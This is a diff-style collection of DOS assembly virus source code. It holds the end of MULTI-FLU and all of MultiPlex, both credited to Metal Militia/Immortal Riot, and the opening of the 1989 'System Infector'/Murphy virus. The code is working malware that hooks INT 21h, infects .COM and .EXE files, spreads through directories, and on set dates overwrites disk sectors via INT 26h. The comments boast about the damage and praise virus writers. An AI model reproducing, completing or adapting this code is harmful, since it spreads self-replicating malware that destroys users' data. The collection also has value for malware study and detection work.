CALL FUNKY ; Yet anotha FUNK calling
|
||||
|
||||
MOV AX,100h ; AX = 100h
|
||||
PUSH AX ; And push it....
|
||||
RET ; Return to org. dude
|
||||
|
||||
MOVE_DA_LIL_BABE:
|
||||
MOV CX,ES:TAG ; Is mah lil' grafitti tag here?
|
||||
|
||||
FUNKY: RET ; RET to code caller
|
||||
|
||||
INSTALL:
|
||||
MOV AX,3521h ; Get vector (INT 21h)
|
||||
INT 21h ; --------------^
|
||||
|
||||
CALL FUNKY
|
||||
|
||||
MOV CS:[BP+OFFSET(OLD21A)],BX ; Save the old one
|
||||
MOV CS:[BP+OFFSET(OLD21B)],ES ; here right now
|
||||
|
||||
CALL FUNKY
|
||||
CALL ROCKME ; See above in the code
|
||||
|
||||
SUB AX,GTHANG ; How much to put MEMRES
|
||||
PUSH AX ; Mhmmm..
|
||||
JMP PUSH_SOME_MORE_ONES
|
||||
DB "Mmm.. Mmm.. Mmm.."
|
||||
|
||||
PUSH_SOME_MORE_ONES:
|
||||
PUSH AX
|
||||
POP ES ; Segment (destination)
|
||||
JMP PUSH_THANG
|
||||
DB "For the smell of it!!!!!"
|
||||
PUSH_THANG:
|
||||
PUSH CS
|
||||
POP DS ; Segment (source)
|
||||
|
||||
CALL FUNKY
|
||||
|
||||
MOV SI,BP ; Start of virus = DELTA thang
|
||||
MOV DI,0 ; Sub di,di or Xor di,di
|
||||
JMP VIR_LEN_ME_NOW
|
||||
db "MULTIMULTIMULTIMULTI"
|
||||
VIR_LEN_ME_NOW:
|
||||
MOV CX,OFFSET VLENGTH ; Virus length
|
||||
|
||||
REP MOVSB ; Move our lazy ass there
|
||||
|
||||
POP DS
|
||||
MOV DX,OFFSET(VECTOR) ; Now, offset *OUR* INT21
|
||||
|
||||
CALL FUNKY
|
||||
|
||||
MOV AX,2521h ; Set vector (INT 21h)
|
||||
INT 21h
|
||||
|
||||
PUSH CS
|
||||
POP ES
|
||||
|
||||
CALL FUNKY
|
||||
|
||||
PUSH CS
|
||||
POP DS ; Segments (reset)
|
||||
|
||||
MOV AH,2Ah ; Get date
|
||||
INT 21h
|
||||
|
||||
CMP DL,1 ; First of any month?
|
||||
JNE PHUNKSTER ; If not, go on as normal
|
||||
; Else, NUKE!!!!!
|
||||
FUCK_EM:
|
||||
MOV AL,2 ; [C:] drive
|
||||
MOV CX,270h ; 9999 sectors
|
||||
CWD ; starting with the 'BOOT'
|
||||
INT 26h ; Direct diskwrite
|
||||
POPF
|
||||
PHUNKSTER:
|
||||
JMP ORGIT
|
||||
|
||||
START ENDP
|
||||
|
||||
ROCKME PROC NEAR
|
||||
INT 12h ; Gimme total numba
|
||||
jmp cx_me ; o' kilobytes mem
|
||||
|
||||
db "MULTI-FLU v1.0"
|
||||
|
||||
cx_me:
|
||||
MOV CX,1024 ; one kilobyte equal 1024 bytes
|
||||
jmp multi_kewl
|
||||
|
||||
db "(c) 1994 Metal Militia"
|
||||
|
||||
multi_kewl:
|
||||
MUL CX ; a 'multiply' i guess
|
||||
jmp seg_me
|
||||
|
||||
db "Immortal Riot"
|
||||
|
||||
seg_me:
|
||||
MOV CX,16 ; Segment (16 bytes in each)
|
||||
jmp div_kewl
|
||||
|
||||
db "Sweden"
|
||||
|
||||
div_kewl:
|
||||
DIV CX ; Divide (AX & DX by CX)
|
||||
|
||||
RET ; Back to code caller
|
||||
ROCKME ENDP
|
||||
|
||||
TSMILE EQU $
|
||||
|
||||
IRNOP: XCHG AX,AX ; Or.. shall we say, NOP!!!!!
|
||||
DB 0BBh ; BX (MOV)
|
||||
VMENOW DW 0 ; offset our code
|
||||
PUSH BX ; push....
|
||||
RET ; and jump to it
|
||||
|
||||
BSMILE EQU $
|
||||
SMILELEN EQU BSMILE-TSMILE ; Length of this "procedure"
|
||||
|
||||
OLD21A DW 0
|
||||
OLD21B DW 0 ;Original INT 21h vector
|
||||
|
||||
TEXTONE DB "M"
|
||||
|
||||
BUFFA DW 0 ; Infectioncheck buffa
|
||||
|
||||
TEXTTWO DB "U"
|
||||
|
||||
EXEPHILEZ DB 'MZ' ; To see if the file's and .EXE
|
||||
|
||||
TEXTTHREE DB "L"
|
||||
|
||||
OTHEREXEZ DB 'ZM' ; See above
|
||||
|
||||
COMMIECOM DB 0e9h, 0ddh ; Marker for COMMAND.COM in
|
||||
; MSDOS v6.x (perhaps others too)
|
||||
TEXTFOUR DB "T"
|
||||
|
||||
FIRSTCODE DB 0CDh
|
||||
DB 20h ; Here we save the org. bytes
|
||||
DB SMILELEN-2 DUP ('?')
|
||||
|
||||
TEXTFIVE DB "i"
|
||||
|
||||
OLDTIME DW 0
|
||||
OLDDATE DW 0 ;Old file time and date
|
||||
|
||||
NOCHEINTEXT DB "FLU"
|
||||
|
||||
FAKEIT PROC NEAR ; It's used to call org. INT 21h
|
||||
PUSHF
|
||||
CALL DWORD PTR CS:OLD21A ; Call the original
|
||||
RET ; RET to code caller
|
||||
FAKEIT ENDP
|
||||
|
||||
VECTOR PROC NEAR ;INT 21h vector
|
||||
NOP
|
||||
|
||||
CMP AX,4B00h ; Exec 'em?
|
||||
JE VTRIGGA ; If so, infect
|
||||
|
||||
JMP DWORD PTR CS:OLD21A ; switch back to original INT21
|
||||
VTRIGGA:
|
||||
PUSH AX
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
PUSH ES
|
||||
PUSH DS
|
||||
PUSH BP ; Save all reg's
|
||||
|
||||
INFECT: MOV AX,3D02h ; READ/WRITE (open file)
|
||||
CALL FAKEIT
|
||||
|
||||
XCHG BX,AX ; mov bx,ax
|
||||
|
||||
MOV AX,5700h ; save the
|
||||
CALL FAKEIT
|
||||
|
||||
MOV CS:OLDTIME,CX ; original time
|
||||
MOV CS:OLDDATE,DX ; and date here
|
||||
JMP TIMER
|
||||
|
||||
DB "All viruswriters worldwide"
|
||||
|
||||
TIMER:
|
||||
MOV CX,2 ; two bytes
|
||||
JMP PUSH_IT_RIGHT_AT_THIS_MOMENT
|
||||
|
||||
db "are to be gratulated!!!!!"
|
||||
|
||||
PUSH_IT_RIGHT_AT_THIS_MOMENT:
|
||||
PUSH CS
|
||||
POP DS
|
||||
JMP OPEN_DA_BUFFA_RIGHT_AWAY
|
||||
|
||||
DB "FLUFLUFLUFLU"
|
||||
|
||||
OPEN_DA_BUFFA_RIGHT_AWAY:
|
||||
MOV DX,OFFSET BUFFA ; into this buffa
|
||||
MOV AH,3Fh ; read 'em
|
||||
CALL FAKEIT
|
||||
JMP CHECK_IN_DA_BUFFA
|
||||
|
||||
DB "Written during SUMMERTIME!!!!!"
|
||||
|
||||
CHECK_IN_DA_BUFFA:
|
||||
MOV DX,CS:BUFFA
|
||||
CMP DX, WORD PTR [OFFSET IRNOP] ; Check if already infected
|
||||
JE QUIT_IT ; if so, exit
|
||||
CMP DX, WORD PTR [OFFSET EXEPHILEZ] ; Check if .EXE
|
||||
JE QUIT_IT ; if so, exit
|
||||
CMP DX, WORD PTR [OFFSET OTHEREXEZ] ; See above
|
||||
JE QUIT_IT ; if so, exit
|
||||
CMP DX, WORD PTR [OFFSET COMMIECOM] ; Check if COMMAND.COM
|
||||
JNE KEEP_ON_SPREADING ; if not, infect the fucker
|
||||
QUIT_IT:
|
||||
JMP ENDINF ; Outa here (for now.. <g>)
|
||||
KEEP_ON_SPREADING:
|
||||
CALL SOF ; Goto start of file
|
||||
|
||||
MOV CX,SMILELEN ; Offset the code we'll have first in
|
||||
JMP UNIROCKER ; infected file, and jmp
|
||||
db "Happy happy! Joy joy!"
|
||||
UNIROCKER:
|
||||
MOV DX,OFFSET(FIRSTCODE) ; Offset da buffa
|
||||
|
||||
MOV AH,3Fh ; Read from it
|
||||
CALL FAKEIT ; 'Fake' an INT 21h
|
||||
|
||||
CALL EOF ; Goto end of file
|
||||
|
||||
ADD AX,100h
|
||||
JMP GO_FOR_IT
|
||||
db "Winterkvist is"
|
||||
|
||||
GO_FOR_IT:
|
||||
MOV CS:VMENOW,AX ; Branch (set up code offset)
|
||||
|
||||
MOV CX,VLENGTH ; Length of virus code
|
||||
JMP WRITE_DA_VIRUS
|
||||
db "a looser!!!!!"
|
||||
WRITE_DA_VIRUS:
|
||||
CWD ; Sub dx,dx or Xor dx,dx
|
||||
|
||||
MOV AH,40h ; Write it
|
||||
CALL FAKEIT
|
||||
|
||||
CALL SOF ; FPOINTER thang
|
||||
|
||||
MOV CX,SMILELEN ;Length of branch code
|
||||
JMP WRITE_FIRST_BYTES
|
||||
db "Greetings to the rest"
|
||||
WRITE_FIRST_BYTES:
|
||||
MOV DX,OFFSET(IRNOP) ;Write the branch code
|
||||
|
||||
MOV AH,40h ;Write file or device
|
||||
CALL FAKEIT
|
||||
JMP ENDINF
|
||||
db "of IMMORTAL RIOT"
|
||||
|
||||
ENDINF: MOV CX,OLDTIME
|
||||
MOV DX,OLDDATE
|
||||
JMP ORG_TIME_BACK
|
||||
DB "This is property of IR"
|
||||
|
||||
ORG_TIME_BACK:
|
||||
MOV AX,5701h ; restore original date/time
|
||||
CALL FAKEIT
|
||||
|
||||
MOV AH,3Eh ; close the file
|
||||
CALL FAKEIT
|
||||
|
||||
NO_FILE:
|
||||
POP BP ; Pop all register (restore)
|
||||
POP DS
|
||||
POP ES
|
||||
POP DI
|
||||
POP SI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
|
||||
JMP DWORD PTR CS:OLD21A ; Mission completed, back to old
|
||||
EOF:
|
||||
MOV AX,4202h ; Goto end of file
|
||||
JMP XOR_EM
|
||||
SOF:
|
||||
MOV AX,4200h ; Goto start of file
|
||||
XOR_EM:
|
||||
SUB CX,CX
|
||||
CWD
|
||||
CALL FAKEIT
|
||||
RET ; RET to code caller
|
||||
VECTOR ENDP
|
||||
|
||||
TAG DW 1234h ; Digi grafitti TAG for checking
|
||||
; if it's already in memory
|
||||
EOV EQU $ ; Here the fun ends guys
|
||||
|
||||
CODE ENDS
|
||||
END
|
|
@ -0,0 +1,283 @@
|
|||
; Virusname: MultiPlex
|
||||
; Alias(es): None
|
||||
; Origin : Sweden
|
||||
; Author : Metal Militia/Immortal Riot
|
||||
;
|
||||
; Thisone's a non-res/non-ow/non-encrypted infector of .COM files which
|
||||
; travels thrue one directory on your harddrive each time an infected
|
||||
; file's executed.
|
||||
;
|
||||
; I'ts damage routine will be activated if the date's equal to the fifth
|
||||
; of any month. If so, it does an good 'ol 256 which does it's dirty
|
||||
; work just as good as MULTI-FLU's 9999.
|
||||
;
|
||||
|
||||
code segment
|
||||
assume cs:code,ds:code,es:code
|
||||
|
||||
org 0100h
|
||||
|
||||
start_o_virus: mov si,0 ; sub/xor si,si
|
||||
jmp mejntwo ; jump there
|
||||
db 'IR'
|
||||
|
||||
lengthovir equ offset tag+5-offset mejntwo ; Length of virus
|
||||
|
||||
mejntwo: call nextline ; prepear to put ax in si (no 'BP' here)
|
||||
nextline: pop ax ; Pop 'em
|
||||
sub ax,offset nextline ; and offset
|
||||
call xchg_it ; Now, exchange
|
||||
mejnthree: call restore_one ; Restore the
|
||||
call restore_two ; first original bytes
|
||||
|
||||
getdir: mov ah,47h ; Get (current) directory
|
||||
mov dl,00h ; to restore it later
|
||||
push si ; Now, push it
|
||||
lea bx,(origindir+si) ; and offset the
|
||||
mov si,bx ; place to save it in
|
||||
int 21h
|
||||
jc lexit ; If there's an error, exit
|
||||
|
||||
pop si ; Pop it
|
||||
mov byte ptr ds:[rock+si],00h ; and set 'rock' to zero
|
||||
|
||||
setdta: mov ah,1ah ; Now, set the DTA (needed
|
||||
lea dx,(buffa+si) ; to be able to execute
|
||||
int 21h ; programs with 'choices')
|
||||
|
||||
findfile: lea dx,(searchein+si) ; What files to search for
|
||||
call find_first ; Find first '*.com'
|
||||
jnc openup ; If no error, infect
|
||||
|
||||
cmp al,12h ; Was there no files left?
|
||||
jne lexit ; If not, outa here!!!!!
|
||||
jmp next_dir ; Move to the next dir
|
||||
|
||||
lexit: jmp exit ; long exit jumps to small
|
||||
|
||||
|
||||
openup: mov ah,3dh ; Open the file
|
||||
mov al,02h
|
||||
lea dx,(buffa+1eh+si)
|
||||
int 21h
|
||||
jc lexit
|
||||
mov ds:[handle+si],ax
|
||||
|
||||
movepoint: mov ah,42h ; mov ax,4202h
|
||||
mov al,02h ; (move to end of file)
|
||||
call bx_ds ; handle stuff
|
||||
mov cx,cxequals
|
||||
mov dx,dxequals
|
||||
int 21h
|
||||
jc lclose ; was there an error?
|
||||
jmp checkmark ; if not, continue
|
||||
|
||||
lclose: jmp close ; long close to short close
|
||||
|
||||
checkmark: mov ah,3fh ; read in the first
|
||||
call bx_ds
|
||||
call cx_em ; see if already infected
|
||||
lea dx,(firsties+si) ; so we read in the first
|
||||
int 21h ; bytes to our buffa
|
||||
jc lclose
|
||||
lea di,(tag+si) ; read in our tag
|
||||
lea ax,(firsties+si) ; does it match?
|
||||
call xchg_it
|
||||
call cx_em
|
||||
compare: cmpsb
|
||||
jnz infect ; if so, then
|
||||
loop compare ; just go ahead
|
||||
call xchg_it ; to hunt down
|
||||
jmp next_file ; the next file
|
||||
|
||||
|
||||
infect: call xchg_it
|
||||
mov ah,42h ; move to start of file
|
||||
mov al,00h
|
||||
call bx_ds
|
||||
sub cx,cx ; mov cx,0 xor cx,cx
|
||||
cwd ; xor dx,dx sub dx,dx
|
||||
int 21h
|
||||
jc lclose
|
||||
mov ah,3fh ; this time, read in
|
||||
call bx_ds
|
||||
lea dx,(oldstart+si) ; (saving in 'oldstart')
|
||||
call cx_four ; the first four bytes
|
||||
int 21h
|
||||
jc lclose
|
||||
mov ah,42h ; now, move to end of file
|
||||
mov al,02h
|
||||
call bx_ds
|
||||
sub cx,cx ; xor cx,cx etc. etc.
|
||||
cwd ; xor dx,dx etc. etc.
|
||||
int 21h
|
||||
jc lclose
|
||||
sub ax,3h
|
||||
mov word ptr ds:[jump+1+si],ax
|
||||
call write_us ; call to write our code
|
||||
mov ah,42h ; move to start of file
|
||||
mov al,00h
|
||||
call bx_ds
|
||||
sub cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
call write_em ; write to file
|
||||
call bx_ds
|
||||
call cx_three ; 3 bytes
|
||||
lea dx,(jump+si) ; our own 'JMP'
|
||||
int 21h
|
||||
call change_dir ; change directory
|
||||
lea dx,(rootoz+si) ; to root
|
||||
int 21h
|
||||
|
||||
|
||||
jmp close ; now, close the file
|
||||
|
||||
next_dir: cmp ds:[diroz],15 ; are we thrue with atleast
|
||||
je exit ; 15 directories yet? exit!
|
||||
mov ah,1ah ; Set the DTA to our
|
||||
lea dx,(buffatwo+si) ; second '60 dup (0)' buffa
|
||||
int 21h
|
||||
call change_dir ; Change directory
|
||||
call root_dir ; to the root
|
||||
cmp byte ptr ds:[rock+si],00h ; Is 'rock' still zero?
|
||||
jne nextdir2 ; If not, get next 'DIR'
|
||||
mov byte ptr ds:[rock+si],0ffh ; Now set the 'flag'
|
||||
lea dx,(searchzwei+si) ; and start to look for
|
||||
sub cx,cx ; dir's instead
|
||||
mov bx,cx
|
||||
mov cl,10h
|
||||
call find_first ; find first of 'em
|
||||
jc exit ; error? outa here!
|
||||
jmp chdir ; otherwise, get that DIR
|
||||
|
||||
nextdir2: call find_next ; find next DIR
|
||||
jc exit ; error, none left? exit!
|
||||
|
||||
inc ds:[diroz+si] ; increase the flag to
|
||||
; tell we've found a DIR.
|
||||
chdir: call change_dir ; change to that DIR
|
||||
lea dx,(buffatwo+1eh+si) ; we've just found
|
||||
int 21h
|
||||
jmp setdta ; now, set the DTA again
|
||||
|
||||
close: call close_em ; close everything
|
||||
|
||||
runold: mov ah,2ah ; date date
|
||||
int 21h
|
||||
cmp dl,5 ; fifth of any month?
|
||||
jne mov_jmp ; if not, outa here
|
||||
mov al,2 ; C:
|
||||
mov cx,256 ; 256
|
||||
cwd ; starting w/the boot
|
||||
int 26h ; direct diskwrite
|
||||
jmp $ ; hang computer
|
||||
|
||||
mov_jmp:
|
||||
mov ax,0100h ; and run the org. proggy
|
||||
jmp ax
|
||||
|
||||
next_file: call close_em ; call to close the file
|
||||
|
||||
call find_next ; call to find next file
|
||||
jc next_dir ; if none found, change
|
||||
; directory
|
||||
jmp openup ; else, open and infect
|
||||
|
||||
exit: mov ah,3bh ;call change_dir
|
||||
lea dx,(origindir+si) ; offset 'current'
|
||||
int 21h
|
||||
jmp runold ; and run the org. proggy
|
||||
|
||||
oldstart: mov ah,4ch
|
||||
int 21h
|
||||
|
||||
jump db 0e9h,0,0 ; our 'jmp'
|
||||
virusname db ' MULTiPLEX '
|
||||
rock db 00h
|
||||
c_author db '(c) 1994 Metal Militia'
|
||||
rootdiroz db '\',00h
|
||||
grouporigin db 'Immortal Riot, Sweden'
|
||||
searchzwei db '*. ',00h
|
||||
greetings db 'Somewhere, somehow, always :)'
|
||||
searchein db '*.com',00h
|
||||
|
||||
write_us: call write_em ; write to file
|
||||
call bx_ds
|
||||
mov cx,lengthovir ; our viruscode
|
||||
lea dx,(mejntwo+si)
|
||||
int 21h
|
||||
ret
|
||||
|
||||
handle dw 0h
|
||||
|
||||
close_em: mov ah,3eh ; close file
|
||||
call bx_ds
|
||||
int 21h
|
||||
ret
|
||||
|
||||
origindir db 64 dup (0) ; buffer where we save our original dir.
|
||||
|
||||
change_dir: mov ah,3bh ; change dir
|
||||
ret
|
||||
|
||||
root_dir: lea dx,(rootdiroz+si) ; when changing to the 'root'
|
||||
int 21h
|
||||
ret
|
||||
|
||||
find_first:
|
||||
mov ah,4eh ; find first file
|
||||
jmp int_em
|
||||
|
||||
restore_two:
|
||||
mov ds:[0100h],ax ; restore old first
|
||||
mov ds:[0102h],cx ; 2/2
|
||||
ret
|
||||
int_em:
|
||||
int 21h
|
||||
ret
|
||||
|
||||
buffa db 60h dup (0)
|
||||
|
||||
xchg_it: xchg si,ax
|
||||
ret
|
||||
|
||||
buffatwo db 60h dup (0)
|
||||
|
||||
find_next:
|
||||
mov ah,4fh ; find next file
|
||||
jmp int_em
|
||||
|
||||
firsties db 5 dup (?) ; Buffer for the first five org. bytes
|
||||
|
||||
bx_ds:
|
||||
mov bx,ds:[handle+si]
|
||||
ret
|
||||
|
||||
write_em: mov ah,40h ; Write to file
|
||||
ret
|
||||
|
||||
cx_em: mov cx,05h
|
||||
ret
|
||||
|
||||
diroz dw 0h
|
||||
|
||||
cx_three: mov cx,3
|
||||
ret
|
||||
|
||||
cx_four: mov cx,4
|
||||
ret
|
||||
|
||||
restore_one: mov ax,word ptr ds:[oldstart+si] ; restore old first
|
||||
mov cx,word ptr ds:[oldstart+si+2] ; 1/2
|
||||
ret
|
||||
|
||||
tag db 'ImRio' ; My lil' DIGITAL GRAFITTI
|
||||
|
||||
rootoz db '\' ; when changing to root
|
||||
|
||||
cxequals equ 0ffffh
|
||||
dxequals equ 0fffbh
|
||||
|
||||
code ends
|
||||
end start_o_virus
|
|
@ -0,0 +1,820 @@
|
|||
;
|
||||
; dynamic self loader
|
||||
;
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
;
|
||||
; SYSTEM INFECTOR
|
||||
;
|
||||
;
|
||||
; Version 4.00 - Copywrite (c) 1989 by L.Mateew & Jany Brankow
|
||||
;
|
||||
; All rights reserved.
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
page ,132
|
||||
|
||||
title SYSTEM INFECTOR
|
||||
|
||||
comp13 = offset kt1 - offset org13
|
||||
comp21 = offset kt1 - offset new21
|
||||
compbuff = offset kt1 - offset buffer
|
||||
compbuff1 = offset kt1 - offset buffer1
|
||||
comp_code = offset kt1 - offset my_code
|
||||
vir_length = offset endpr - offset entry_point
|
||||
Cred = offset virus - offset credits
|
||||
|
||||
|
||||
code segment ; © - ¢ ¦¨¿ ±¥£¬¥² !!!
|
||||
|
||||
assume cs:code ; ¨¨¶¨ «¨§¨° ¥ CS
|
||||
|
||||
org 100h ; · «¥ ¤°¥± ¯°®£° ¬ ²
|
||||
|
||||
entry_point: ; ¢µ®¤ ²®·ª
|
||||
jmp point1 ; ±ª®ª ¢ ¯°®£° ¬ ² § ³±² ®¢¿¢ ¥ ¢¨°³±
|
||||
|
||||
buffer db 18h dup (0c3h) ; ·¥²¨°¨ ¯® RET
|
||||
buffer1 db 4 dup (0c3h) ; ²°¨ ¯® RET
|
||||
my_code dw ?
|
||||
time dw ?
|
||||
date dw ?
|
||||
old_len dd ?
|
||||
new21 dd ? ; ¬¿±²® § ®¢¨¿ ¢¥ª²®°
|
||||
old24 dd ?
|
||||
org13 dd ?
|
||||
old13 dd ?
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
;
|
||||
; ‡ ¥§ ª®® ª®¯¨° ¥ ¹¥ ®²¨¤¥²¥ ¢ § ²¢®° !
|
||||
;
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
credits:
|
||||
db ' It''s me - Murphy. '
|
||||
db ' Copywrite (c)1990 by Lubo &'
|
||||
db ' Ian, Sofia, USM Laboratory. '
|
||||
|
||||
virus proc near ;
|
||||
call time_kill ; ¯°®¢¥°ª § ¤ ² ¨ · ±
|
||||
cmp ax,4b00h+'M' ; „Ž‘ ´³ª¶¨¿ EXEC ?
|
||||
jnz @05
|
||||
push bp
|
||||
mov bp,sp
|
||||
and word ptr [bp+6],0fffeh
|
||||
pop bp
|
||||
iret
|
||||
@05:
|
||||
cmp ah,4bh ; „Ž‘ ´³ª¶¨¿ EXEC ?
|
||||
jz p0
|
||||
cmp ax,3d00h ; „Ž‘ ´³ª¶¨¿ OPEN ?
|
||||
jz p0 ; ¤ !
|
||||
cmp ax,6c00h ; ¯°®¢¥°ª § DOS Fn 6C
|
||||
jnz @04 ; ¨¬ ¨ ¤°³£ ·¨
|
||||
cmp bl,0 ; ®°¬ «® ®²¢ °¿¥
|
||||
jz p0 ; § ° §¿¢ ¥
|
||||
@04:
|
||||
jmp do_not_bite ; ¥ - ¯°¥µ®¤ ªº¬ ±² °¨¿ ¢¥ª²®°
|
||||
p0: ;
|
||||
push es ; § ¯ §¢ ¥ ES ,
|
||||
push ds ; DS ,
|
||||
push di ; DI ,
|
||||
push si ; SI ,
|
||||
push bp ; BP ,
|
||||
push dx ; DX ,
|
||||
push cx ; CX ,
|
||||
push bx ; BX ,
|
||||
push ax ; ¨ AX
|
||||
call ints_on
|
||||
call ints_off
|
||||
cmp ax,6c00h ; ¯°®¢¥°ª § OPEN
|
||||
jnz kt6 ; ¯°¥±ª · ¥
|
||||
mov dx,si ; ¡¥§ ¤³¬¨
|
||||
kt6:
|
||||
mov cx,80h ; ¬ ª±¨¬ « ¤º«¦¨ ´ ©«®¢ ²
|
||||
mov si,dx ; ±¯¥¶¨´¨ª ¶¨¿
|
||||
while_null: ;
|
||||
inc si ; ¯®«³· ¢ ¥
|
||||
mov al,byte ptr ds:[si] ; ´ ©«®¢ ²
|
||||
or al,al ; ±¯¥¶¨´¨ª ¶¨¿
|
||||
loopne while_null ; ª° © ASCIIZ ?
|
||||
sub si,02h ; 2 ±¨¬¢®« § ¤
|
||||
cmp word ptr ds:[si],'MO' ; ¯°®¢¥°ª § .COM - ´ ©«
|
||||
jz @03
|
||||
cmp word ptr ds:[si],'EX'
|
||||
jz @06
|
||||
go_away:
|
||||
jmp @01 ; ¦ «ª® -> no_ill_it
|
||||
@06:
|
||||
cmp word ptr ds:[si-2],'E.' ;
|
||||
jz go_forward ;
|
||||
jmp short go_away
|
||||
@03:
|
||||
cmp word ptr ds:[si-2],'C.' ; ®¹¥ ¨¹® ¥ ¥ § £³¡¥®...
|
||||
jnz go_away ; .COM ´ ©«
|
||||
go_forward: ;
|
||||
mov ax,3d02h ; „Ž‘ ´³ª¶¨¿ 3d /®²¢ °¿¥ ´ ©«/ - °¥¦¨¬ ¤®±²º¯ 010b - ·¥²¥¥ ¨ § ¯¨±
|
||||
call int_21 ; ¢°º¹ ´ ©«®¢¨¿ ¬ ¨¯³« ²®° ¢ AX ª® CF = 0
|
||||
jc @01 ;
|
||||
mov bx,ax ; § ¯ §¢ ¥ ´ ©«®¢¨¿ ¬ ¨¯³« ²®° ¢ BX
|
||||
mov ax,5700h ;
|
||||
call int_21 ;
|
||||
mov cs:[time],cx ;
|
||||
mov cs:[date],dx ;
|
||||
mov ax,4200h ; „Ž‘ ´³ª¶¨¿ 42
|
||||
xor cx,cx ; ³«¨° ¥ CX
|
||||
xor dx,dx ; ³±² ®¢¿¢ ¥ ³ª § ²¥«¿ ¢ · «®²® ´ ©«
|
||||
call int_21 ; INT 21
|
||||
push cs ; ³±² ®¢¿¢ ¥
|
||||
pop ds ; DS := CS
|
||||
mov dx,offset buffer ; ¨§·¨±«¿¢ ¥ ¤°¥± buffer
|
||||
mov si,dx
|
||||
mov cx,0018h ; ¸¥±² ¡ ©²
|
||||
mov ah,3fh ; „Ž‘ ´³ª¶¨¿ 3FH /·¥²¥¥ ®² ´ ©«/
|
||||
call int_21 ; ¯°®·¨² ¥ ¯º°¢¨²¥ 8 ¡ ©² ¢ buffer
|
||||
jc close_file
|
||||
cmp word ptr ds:[si],'ZM'
|
||||
jnz @07
|
||||
call exe_file
|
||||
jmp short close_file
|
||||
@07:
|
||||
call com_file
|
||||
close_file:
|
||||
jc skip_restore_date
|
||||
mov ax,5701h
|
||||
mov cx,cs:[time]
|
||||
mov dx,cs:[date]
|
||||
call int_21
|
||||
skip_restore_date:
|
||||
mov ah,3eh ; „Ž‘ ´³ª¶¨¿ 3E - § ²¢ °¿¥ ´ ©«
|
||||
call int_21 ; INT 21
|
||||
@01:
|
||||
call ints_off
|
||||
pop ax ; ¢º§±² ®¢¿¢ ¥ AX ,
|
||||
pop bx ; BX ,
|
||||
pop cx ; CX ,
|
||||
pop dx ; DX ,
|
||||
pop bp ; BP ,
|
||||
pop si ; SI ,
|
||||
pop di ; DI ,
|
||||
pop ds ; DS ,
|
||||
pop es ; ES
|
||||
do_not_bite:
|
||||
jmp dword ptr cs:[new21] ; ¯°¥µ®¤ ªº¬ ±² °¨¿ ¢¥ª²®°
|
||||
virus endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
;
|
||||
; Subroutine for .EXE file
|
||||
;
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
|
||||
exe_file proc near
|
||||
mov cx,word ptr ds:[si+16h] ; § °¥¦¤ ¥ ®²¬¥±²¢ ¥²® CS ¡ ¯ ° £° ´¨
|
||||
add cx,word ptr ds:[si+08h] ; ±º¡¨° ¥ ¯°¥´¨ª± (¢ ¯ ° £° ´¨) ± ¥£®
|
||||
mov ax,10h
|
||||
mul cx ; ³¬®¦ ¢ ¬¥ £¨ ± 10h ¨ ¯®«³· ¢ ¬¥
|
||||
add ax,word ptr ds:[si+14h] ; ¡±®«¾²®²® ®²¬¥±²¢ ¥
|
||||
adc dx,0 ; ¢µ®¤ ² ²®·ª ª ²® ±º¡¨° ¬¥ ¨ IP
|
||||
push dx ; § ¯ §¢ ¬¥ £¨ ¢ ±²¥ª § ¯®- ² ²ºª
|
||||
push ax
|
||||
mov ax,4202h ; µ¢ ²ª § ¯®«³· ¢ ¥
|
||||
xor cx,cx
|
||||
xor dx,dx ; ¤º«¦¨ ²
|
||||
call int_21 ; ´ ©« ¢ DX:AX
|
||||
cmp dx,0
|
||||
jnz go_out ; ¯°®¢¥°ª § ¤º«¦¨ ²
|
||||
cmp ax,vir_length ; ´ ©« µ °¥± ®² ¢¨°³±
|
||||
jnb go_out ; ª® ¥ ¢¥·¥ µ °¥± ®² ¥£® -
|
||||
pop ax ; Go out !
|
||||
pop dx
|
||||
stc
|
||||
ret
|
||||
go_out:
|
||||
mov di,ax ; § ¯ §¢ ¥ AX ¢ DI
|
||||
mov bp,dx ; ¨ DX ¢ BP
|
||||
pop cx ; ¨§¢ ¦¤ ¬¥ ®²¬¥±²¢ ¥²®
|
||||
sub ax,cx ; ¢µ®¤ ² ²®·ª ®² ¤º«¦¨ ² ´ ©«
|
||||
pop cx ; ¨ ¯®«³· ¢ ¬¥ ¤º«¦¨ ²
|
||||
sbb dx,cx ; ¯°®£° ¬ ² ±«¥¤ ¢µ®¤ ² ²®·ª
|
||||
cmp word ptr ds:[si+0ch],00h; ¯°®¢¥°ª § ®¯¶¨¿
|
||||
je exitp ; /HIGH
|
||||
cmp dx,0 ; ±° ¢¿¢ ¬¥ £¨ ± ¤º«¦¨ ² ¢¨°³±
|
||||
jne ill_it ; ¨ ª® ± ° ¢¨ «¥¯¢ ¬¥ £® ² ¬ ¨
|
||||
cmp ax,vir_length ; ².. . . .
|
||||
jne ill_it
|
||||
stc
|
||||
ret
|
||||
ill_it:
|
||||
mov dx,bp ; ¯°®·¨² ¬¥ ¤º«¦¨ ²
|
||||
mov ax,di ; ¯°®£° ¬ ²
|
||||
push dx ; push ¢ ¬¥ £¨
|
||||
push ax ; § ¯®- ² ²ºª
|
||||
